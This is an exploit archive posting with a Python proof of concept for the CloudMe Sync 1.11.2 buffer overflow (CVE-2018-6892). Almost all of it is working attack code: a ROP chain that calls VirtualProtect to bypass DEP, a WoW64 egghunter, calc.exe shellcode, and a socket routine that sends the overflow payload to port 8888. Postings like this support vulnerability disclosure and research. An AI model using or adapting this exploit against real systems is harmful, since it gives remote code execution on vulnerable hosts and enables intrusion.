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CloudMe Sync 1.11.2 Buffer Overflow

CloudMe Sync 1.11.2 Buffer Overflow
Posted Jan 29, 2019
Authored by hyp3rlinx, Matteo Malvica

CloudMe Sync version 1.11.2 buffer overflow exploit with DEP bypass for WoW64.

tags | exploit, overflow
advisories | CVE-2018-6892
MD5 | 6c6eec765b43cb302857a4db976b3285

CloudMe Sync 1.11.2 Buffer Overflow

Change Mirror Download
# Exploit Title: CloudMe Sync v1.11.2 Buffer Overflow - WoW64 - (DEP Bypass)
# Date: 24.01.2019
# Exploit Author: Matteo Malvica
# Vendor Homepage:https://www.cloudme.com/en
# Software: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Category: Remote
# Contact:https://twitter.com/matteomalvica
# Version: CloudMe Sync 1.11.2
# Tested on: Windows 7 SP1 x64
# CVE-2018-6892
# Ported to WoW64 from https://www.exploit-db.com/exploits/46218

import socket
import struct

def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x61ba8b5e, # POP EAX # RETN [Qt5Gui.dll]
0x690398a8, # ptr to &VirtualProtect() [IAT Qt5Core.dll]
0x61bdd7f5, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll]
0x68aef542, # XCHG EAX,ESI # RETN [Qt5Core.dll]
0x68bfe66b, # POP EBP # RETN [Qt5Core.dll]
0x68f82223, # & jmp esp [Qt5Core.dll]
0x6d9f7736, # POP EDX # RETN [Qt5Sql.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x6eb47092, # NEG EDX # RETN [libgcc_s_dw2-1.dll]
0x61e870e0, # POP EBX # RETN [Qt5Gui.dll]
0xffffffff, #
0x6204f463, # INC EBX # RETN [Qt5Gui.dll]
0x68f8063c, # ADD EBX,EDX # ADD AL,0A # RETN [Qt5Core.dll]
0x61ec44ae, # POP EDX # RETN [Qt5Gui.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x6eb47092, # NEG EDX # RETN [libgcc_s_dw2-1.dll]
0x61e2a807, # POP ECX # RETN [Qt5Gui.dll]
0x6eb573c9, # &Writable location [libgcc_s_dw2-1.dll]
0x61e85d66, # POP EDI # RETN [Qt5Gui.dll]
0x6d9e431c, # RETN (ROP NOP) [Qt5Sql.dll]
0x61ba8ce5, # POP EAX # RETN [Qt5Gui.dll]
0x90909090, # nop
0x61b6b8d0, # PUSHAD # RETN [Qt5Gui.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

target="127.0.0.1"
junk="A"*1052
eip = "\xfc\x57\xea\x61" # 0x61ea57fc
nops = "\x90\x90\x90\x90"

egg64 = ("\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
"\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
"\x2e\x5a\x3c\x05\x74\xea\xb8"
"\x77\x30\x30\x74" # tag w00t
"\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
"\xe2\x64\xff\x13\x5e\x5a\xeb\xdf")

#Shellcode calc.exe
shellcode = ""
shellcode += "\xdb\xde\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x31\xba\xef"
shellcode += "\xc3\xbd\x59\x83\xc0\x04\x31\x50\x14\x03\x50\xfb\x21"
shellcode += "\x48\xa5\xeb\x24\xb3\x56\xeb\x48\x3d\xb3\xda\x48\x59"
shellcode += "\xb7\x4c\x79\x29\x95\x60\xf2\x7f\x0e\xf3\x76\xa8\x21"
shellcode += "\xb4\x3d\x8e\x0c\x45\x6d\xf2\x0f\xc5\x6c\x27\xf0\xf4"
shellcode += "\xbe\x3a\xf1\x31\xa2\xb7\xa3\xea\xa8\x6a\x54\x9f\xe5"
shellcode += "\xb6\xdf\xd3\xe8\xbe\x3c\xa3\x0b\xee\x92\xb8\x55\x30"
shellcode += "\x14\x6d\xee\x79\x0e\x72\xcb\x30\xa5\x40\xa7\xc2\x6f"
shellcode += "\x99\x48\x68\x4e\x16\xbb\x70\x96\x90\x24\x07\xee\xe3"
shellcode += "\xd9\x10\x35\x9e\x05\x94\xae\x38\xcd\x0e\x0b\xb9\x02"
shellcode += "\xc8\xd8\xb5\xef\x9e\x87\xd9\xee\x73\xbc\xe5\x7b\x72"
shellcode += "\x13\x6c\x3f\x51\xb7\x35\x9b\xf8\xee\x93\x4a\x04\xf0"
shellcode += "\x7c\x32\xa0\x7a\x90\x27\xd9\x20\xfe\xb6\x6f\x5f\x4c"
shellcode += "\xb8\x6f\x60\xe0\xd1\x5e\xeb\x6f\xa5\x5e\x3e\xd4\x59"
shellcode += "\x15\x63\x7c\xf2\xf0\xf1\x3d\x9f\x02\x2c\x01\xa6\x80"
shellcode += "\xc5\xf9\x5d\x98\xaf\xfc\x1a\x1e\x43\x8c\x33\xcb\x63"
shellcode += "\x23\x33\xde\x07\xa2\xa7\x82\xe9\x41\x40\x20\xf6"

payload = junk+ eip + nops * 3 + rop_chain + nops*4 + egg64 + nops*4 + "w00tw00t" + shellcode

try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload)
except:
print "Crashed!"

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